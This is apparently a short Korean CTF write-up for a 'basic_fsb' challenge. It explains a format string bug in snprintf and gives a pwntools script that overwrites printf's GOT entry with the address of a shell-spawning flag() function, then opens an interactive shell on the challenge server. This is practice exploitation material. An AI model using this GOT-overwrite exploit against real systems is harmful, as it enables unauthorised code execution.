문제 분석
vuln()함수를 보면 snprintf에서 FSB 취약점이 존재한다.
또한 shell을 얻을 수 있는 flag()함수가 있다.
문제 풀이
FSB를 이용하여 printf의 got를 flag()함수의 주소로 덮어주면 shell을 얻을 수 있다.
간단하게 FSB를 발생시켜보면 2번째 %x에서 첫 번째 인자 AAAA를 참조하고 있다. 따라서 다음과 같이 FSB를 발생시킬 수 있다.
printf_got(4byte) + %(134514100-4byte=134514096)x+%n
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3002)
e = ELF('./basic_fsb')
print_got = e.got['printf']
payload = ''
payload += p32(print_got)
payload += "%134514096x%n"
p.recvuntil('input : ')
p.send(payload)
p.interactive()